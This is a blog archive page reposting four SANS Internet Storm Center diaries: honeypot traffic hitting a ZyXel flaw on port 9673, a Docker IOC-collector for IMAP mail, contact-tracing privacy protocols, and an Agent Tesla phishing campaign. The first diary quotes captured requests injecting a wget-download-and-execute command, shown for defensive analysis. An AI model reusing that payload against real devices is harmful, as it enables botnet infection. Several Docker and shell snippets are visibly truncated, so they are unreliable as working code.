Archive for April, 2020

Attack traffic on TCP port 9673, (Fri, May 1st)

I don’t know how many of you pay attention to the Top 10 Ports graphs on your dashboard, but I do. Unfortunately, the top 10 is pretty constant, the botnets are attacking the same ports. What I find more interesting is anomalous behavior. Changes from what is normal on a given port. So, a little over a week ago, I saw a jump on a port I wasn’t familiar with.

In fact, when I look at the longer term, we’ve seen the occasional spike, but this is the first one where the number of sources was up significantly, too.

So, what are the attackers looking for in this last week? Well, as I have in previous diaries, I turned to fellow handler, Didier Stevens’ tcp-honeypot. Since there seem to be web admin consoles on lots of ports, I set up tcp port 9673 to look like a web server, though it probably wasn’t necessary. I brought this up on a VPS I have and within minutes started getting hits (I have included 2 examples below). With a little DuckDuckGo-ing, I came across an advisory for a ZyXel 0-day from last month. I guess someone finally decided to go after it. I was unable to download the second stage (it looks like the servers hosting the payloads may have been shut down already), but according to Radware, this is the Hoaxcalls DDoS botnet in action.

20200429-051959: data b”GET /live/CPEManager/AXCampaignManager/delete_cpes_by_ids HTTP/1.1rnUser-Agent: XTCrnHost: 1000rnAccept-Encoding: gzip, deflaternAccept-Language: en-US,en;q=0.9rnrncpe_ids=__import__(‘os’).system(‘wget -O /tmp/viktor; chmod 777 /tmp/viktor; /tmp/viktor’)rnrn”

20200430-082737: data b”GET /live/CPEManager/AXCampaignManager/delete_cpes_by_ids HTTP/1.1rnUser-Agent: XTCrnHost: 1000rnAccept-Encoding: gzip, deflaternAccept-Language: en-US,en;q=0.9rnrncpe_ids=__import__(‘os’).system(‘wget -O /tmp/upnp.debug; chmod 777 /tmp/upnp.debug; /tmp/upnp.debug’)rnrn”

As we always say, your IoT devices should not generally be directly exposed to the internet. I know people are fond of saying the perimeter is dead, but seriously, you should still have a firewall that blocks inbound traffic to (at least) your IoT devices.

Jim Clausing, GIAC GSE #26
jclausing –at– isc [dot] sans (dot) edu

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Collecting IOCs from IMAP Folder, (Thu, Apr 30th)

I’ve plenty of subscriptions to “cyber security” mailing lists that generate a lot of traffic. Even if we try to get rid of emails, that’s a fact: email remains a key communication channel. Some mailing lists posts contain interesting indicators of compromize. So, I searched for a nice way to extract them in an automated way (and to correlate them with other data). I did not find a solution ready to use that matched my requirements:

  • Connect to any mailbox (preferably via IMAP)
  • Produce data easy to process (JSON)
  • Be easy to deploy (Docker)

So, I built my own Docker image… It is based on the following components:

  • procmail
  • getmail
  • some Python libraries
  • The project es_mail_intel[1]

The last tool is an old project that achieves exactly why I expect: It extracts IOCs from emails and stores them in ElasticSearch. But, if you don’t want ElasticSearch, it can also produce a JSON file! Parsing emails is a pain! So, I did not want to write my own parser.

Data are processed in this way: Emails are fetched via IMAP at regular intervals by getmail and pushed to procmail. It pushes them to the Python script that extracts interesting data.

IMAP data >> getmail >> procmail >> >> JSON data

Here is my Dockerfile:

FROM ubuntu:18.04
MAINTAINER Xavier Mertens 
RUN apt-get update && 
    DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends -y 
    apt-get clean && 
    rm -rf /var/lib/apt/lists/*
RUN mkdir -p /root/.getmail
RUN git clone /opt/es_email_intel
COPY getmail.conf /
RUN echo ":0" >>/procmailrc
RUN echo "|/opt/es_email_intel/ 2 >>/log/ioc.json" >>/procmailrc
RUN chmod u+x /
RUN touch /tmp/firstboot
CMD ["/"]

It needs a getmail.conf with the parameters of the mailbox you’d like to monitor:

type = SimpleIMAPSSLRetriever
server = CONF_SERVER
username = CONF_LOGIN
password = CONF_PASSWORD

type = MDA_external
path = /usr/bin/procmail
user = getmail
group = getmail
arguments = ('/procmailrc', )


getmail is a very powerful tool with plenty of options. Just have a look at the documentation[2] to find your best way to interact with your mailboxes. The script ‘’ will be executed by the container and, at first boot, configure your credentials:

if [ -r /tmp/firstboot ]; then
        sed -i "s|CONF_SERVER|$IMAP_SERVER|g" /getmail.conf
        sed -i "s|CONF_LOGIN|$IMAP_USER|g" /getmail.conf
        sed -i "s|CONF_PASSWORD|$IMAP_PASS|g" /getmail.conf

        groupadd getmail
        useradd -u $UID -g getmail -d /home/getmail getmail
        mkdir /home/getmail && chown getmail:getmail /home/getmail
        test -d /log || mkdir /log
        touch /log/getmail.log /log/ioc.json
        chown -R root:getmail /log
        chmod -R g+w /log
        rm /tmp/firstboot
while true
        /usr/bin/getmail -r /getmail.conf
        sleep $IMAP_WAIT

And, finally, my docker-compose.yml file:

version: '3'
        build: .
        image: "xme/iocollector"
        restart: always
        hostname: iocollector
        container_name: iocollector
            - /etc/localtime:/etc/localtime:ro
            - /data/iocollector/log:/log
            - UID=1000
            - IMAP_SERVER=
            - IMAP_USER=
            - IMAP_PASS=
            - IMAP_WAIT=30
        network_mode: bridge

Start your docker and it will populate the mapped /log directory with an ‘ioc.json’ file:

    "bitcoin_wallet": [
    "ctime": "Thu Mar  5 17:54:23 2020",
    "domain": [
    "email": [
        "[email protected]",
    "epoch": "1583427263",
    "filename": [
    "ipv4": [
    "md5": [],
    "message_text": "...",
    "mutex": [],
    "sha1": [],
    "sha256": [
    "ssdeep": [],
    "url": [

Note: The complete is email is parsed. You will find in the JSON file all SMTP headers, the email body, etc. Less relevant for IOC’s but still interesting in some cases (by example, to analyze spam).

Here is a recap of the data flow:


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Privacy Preserving Protocols to Trace Covid19 Exposure, (Wed, Apr 29th)

In recent weeks, you probably heard a lot about the “Covid19 Tracing Apps” that Google, Apple, and others. These news reports usually mention the privacy aspects of such an app, but of course, don’t cover the protocols in sufficient depth to address how the privacy challenges are being solved.

The essential function of such an application is to alert you if you recently came in contact with a Covid19 infected person. It is the goal of the application to alert users who are asymptomatic so they can get tested and self-isolate to prevent spreading the virus.

There are a few problems with this generic definition of the function of such an application:

  • What does “recent” mean: Usually this refers to 14 days, which is the time most reports suggest as the incubation time.
  • “contact” is usually defined as being within about 2 meters (6feet) of an infected individual. Some applications also require that the contact lasted longer than a few seconds.
  • The infected person may only realize that they are infected until they are tested, and they learn of the result. The data needs to be stored until that determination is made (again, for about 14 days).

But the application does not need to know where you are or where you have been. Geolocation is not required to fulfill this function.

A key privacy feature implemented by these applications is that the application broadcasts a random, rotating identifier. Some of the protocols send a new identifier with each “ping”; others rotate it after a given time (minutes). This ID rotation prevents the most obvious threat of tracking a user using a unique identifier (as it has been done with MAC addresses). One of the critical parameters of these protocols is how often the identifier rotates. Some protocols suggest rotating them with each ping. Others keep the same ID for minutes (or even a day, which is probably too long).

PACT Tracing Protocol Schematic (

At the same time, the application receives “pings” sent by others and records them. Initially, there is no need to store these pings centrally. Only the receiving device stores the IDs it received.

Once a user is identified as positive, things become a bit interesting. They upload the IDs they recently sent (and in some protocols also the pings they received) to a database. Some standards are assuming a single central database. Others suggest a more decentralized data store. Instead of uploading each ID sent, some protocols suggest that the IDs are derived from a seed, and only the seed needs to be uploaded, significantly reducing the amount of data being sent and centrally stored.

In addition, malicious uploads need to be prevented. They could be used to overwhelm the data or to cause false positives. The authentication schemes vary between the protocols, but typically the infected user has to provide some form of authentication code from a healthcare provider. The user should be able to exclude some data from the upload (e.g., based on the time the event happened).

Your device downloads the entire database of reported IDs (or seed keys) to check if you have come into contact with an infected individual. This is a lot easier if only seeds are uploaded (one record for each infected person) instead of having to download all individual IDs sent by infected users (about 2000/user for two weeks if the ID changes every 10 minutes). The protocol proposed by Apple and Google suggests the use of “Temporary Exposure Keys” that rotate daily. These keys are used to derive a “Rolling Proximity Identifier” which is rotated every few minutes.

This protocol should solve most of the privacy issues that arise from such an application. It should not allow a third party to identify individuals, and users will not know who of their contacts was positive (unless they only had contact with one individual person).

To assist with the acceptance of the application, users will have control over when the application is active, and what data is uploaded to any data repository.

Of course, in the past, it has been shown that very large anonymized datasets can be used to track individuals. Probably the best protection, aside from robust cryptographic implementations, is the deletion of data as soon as it is no longer relevant for tracking SARS-Cov2 infections. The user interface of the application needs to be carefully designed to allow the user to make sensible choices as to what data to record and upload to the central database.

Ideally, the application would only share the sent IDs (or seeds to derive them) with the central database. But some applications found it useful to report IDs received, Bluetooth signal strength, and the phone model. Proximity tracing with Bluetooth is tricky. Different phone models use Bluetooth chipsets and antenna configurations with different sensitivity and signal strength. Just measuring the absolute signal strength received is a poor indicator of distance. The Apple/Google standard suggests including some encrypted metadata with each ping. The keys used to encrypt the metadata are derived from the same temporary exposure key as the IDs broadcast by the phone. The metadata can only be decrypted after the user uploaded these temporary exposure keys.

This is a classic example of how one has to weight privacy vs. the value of the information received. What makes this more complicated is that a less privacy-sensitive application may collect more valuable data, but may also find fewer volunteer users. The application is only useful if there are many users (some suggest at least 60% of the population needs to use the application). And of course, the application needs to be released “now” leaving little time for an extensive review period.

A quick summary of the proposed protocols:

Apple/Google Contact Tracing

DP3T (Decentralized Privacy-Preserving Proximity Tracing)

PEPP-PT (Pan European Privacy Preserving Proximity Tracing)

PACT (Privacy-Sensitive Protocols And Mechanisms for Mobile Contact Tracing)




Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Agent Tesla delivered by the same phishing campaign for over a year, (Tue, Apr 28th)

While going over malicious e-mails caught by our company gateway in March, I noticed that several of those, that carried ACE file attachments, appeared to be from the same sender. That would not be that unusual, but and after going through the historical logs, I found that e-mails from the same address with similar attachments were blocked by the gateway as early as March 2019.

The e-mails in question all appeared to come from the address [email protected] The sender address was quite interesting in its own way, since, although the messages most certainly didn’t come from TNT, they didn’t fail the SPF checks either. The reason for them not being stopped by the Sender Policy Framework checks was not a lack of an SPF record for the domain, but the fact that the record in question was set incorrectly, in such a way that it allowed any server to send email for the domain

As you may see, the record ends in “?all” – this means that the record doesn’t specify whether any IP address, which is not listed, may or may not send messages for[1]. I have informed TNT of both the problem with the SPF record (which they said they will fix soon) as well as the fact that their domain was misused in this was to send malicious messages.

I originally didn’t plan to dig any deeper into it, however after our e-mail gateway caught another e-mail from [email protected] just yesterday, I decided to take a closer look at these messages and their attachments.

After a while of going through my e-mail quarantine backups, I managed to find 54 e-mails from the last 6 months that appeared to have originated from the same address, all of them with an ACE attachment. The messages were fairly similar to each other – most were variations on the theme of “tomorrow we will deliver your package please find the attached invoice”. You may see that there hasn’t been much of a change in them during the past 6 months from the following two examples – the first one is from August 2019 and the second one was “caught” just yesterday.

A quick search of the logs for [email protected] showed that from March 15, 2019, the e-mail gateway stopped 94 similar messages. In all these cases, the messages had an ACE attachment and all their subjects were variations on the same theme.

I didn’t manage to get the earliest e-mails but I extracted the attachments of all the ones I had access to and after eliminating all of the duplicates I was left with 14 malicious executables (some of them with a fake SCR extension).

Since I didn’t have much time to spend on analyzing the files, I upload several of them to Any.Run and to the Intezer Analyze platform and the results were pretty much always the same – the malicious files were droppers or injectors for Agent Tesla (you may find hashes for all of the executables below).

Since I don’t have access to the earliest attachments, I can’t be sure that the actors behind this campaign used it to spread only Agent Tesla for the entire time, however from the available data it seems to be the case. It appears that the same group has been using nearly the same e-mail template and exactly the same simple trick to bypass SPF checks for more than a year.

In my last diary[2], I mentioned that a group behind phishing campaign, that ran for over three months with minimal changes, seemed to go by the old adage “if it ain’t broke don’t fix it”. After looking at this campaign, it seems that that the first group definitely wasn’t alone in adopting this philosophy.


Indicators of Compromise (IoCs)















































Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 7 12345...»